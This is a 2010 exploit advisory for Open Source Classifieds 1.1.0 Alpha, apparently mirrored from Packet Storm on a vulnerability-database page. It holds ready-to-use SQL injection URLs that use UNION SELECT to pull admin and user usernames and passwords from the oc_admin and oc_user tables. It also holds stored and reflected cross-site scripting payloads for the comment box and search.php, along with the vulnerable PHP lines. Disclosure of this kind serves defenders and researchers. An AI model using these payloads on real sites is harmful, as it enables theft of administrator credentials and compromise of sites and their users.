Lucene search
K

Open Source Classifieds 1.1.0 Alpha Cross Site Scripting / SQL Injection

🗓️ 19 Feb 2010 00:00:00Reported by Sioma LabsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

Open Source Classifieds 1.1.0 Alpha SQL Injection and Cross Site Scripting Vulnerabilitie

Code
`  
__ _ __ _   
/ _(_) ___ _ __ ___ __ _ / / __ _| |__ ___   
\ \| |/ _ \| '_ ` _ \ / _` | / / / _` | '_ \/ __|  
_\ \ | (_) | | | | | | (_| | / /___ (_| | |_) \__ \  
\__/_|\___/|_| |_| |_|\__,_| \____/\__,_|_.__/|___/  
========================================================================================  
Open Source Classifieds (OSClassi) SQLi/Xss Multi Vulnerabilities  
----------------------------------------------------------------------------------------  
- Site : http://osclass.org/   
- Download : http://sourceforge.net/projects/osclass/files/  
- Author : Sioma Labs  
- Version : 1.1.0 Alpha  
- Tested on : WIndows XP SP2 (WAMP)  
  
[-------------------------------------------------------------------------------------------------------------------------]  
  
MYSQL Injection   
===============  
POC  
http://localhost/item.php?id=[SQLi]  
  
Basic Info  
http://localhost/item.php?id=-1 UNION SELECT 1,2,3,4,5,6,concat_ws(CHAR(32,58,32),user(),database(),version())--  
  
Admin ID,Username,Password  
http://localhost/item.php?id=-1 UNION SELECT 1,2,3,4,5,6,group_concat(id,0x3a,username,0x3a,password)+from oc_admin--  
  
User ID,UserName,Password  
http://localhost/item.php?id=-1 UNION SELECT 1,2,3,4,5,6,group_concat(id,0x3a,username,0x3a,password)+from+oc_user--  
  
[-------------------------------------------------------------------------------------------------------------------------]  
Cross Site Scripting  
====================  
  
Xss Source Review (item.php)  
------------------------------  
  
1st Xss item.php   
[+] To Work This You need to Have A iteam already posted (http://localhost/item.php?action=post)  
------------------------------  
case 'add_comment':  
dbExec("INSERT INTO %sitem_comment (item_id, author_name, author_email, body) VALUES (%d, '%s', '%s', '%s')",   
DB_TABLE_PREFIX, $_POST['id'], $_POST['authorName'], $_POST['authorEmail'], $_POST['body']);  
header('Location: item.php?id=' . $_POST['id']);  
break;  
case 'post':  
------------------------------  
  
[+] Put This c0de in to the comment box  
"><script>alert(String.fromCharCode(88, 83, 83));</script>  
  
-------------------------------  
  
2nd Xss (search.php)  
---------------------------------  
$pattern = $_GET['pattern'];  
--------------------------------  
  
POC  
http://localhost/search.php?pattern=[Xss]  
Exploit  
http://localhost/search.php?pattern=<script>alert(String.fromCharCode(88, 83, 83));</script>  
  
[-------------------------------------------------------------------------------------------------------------------------]  
  
# http://siomalabs.com [Sioma Labs]  
# Sioma Agent 154  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation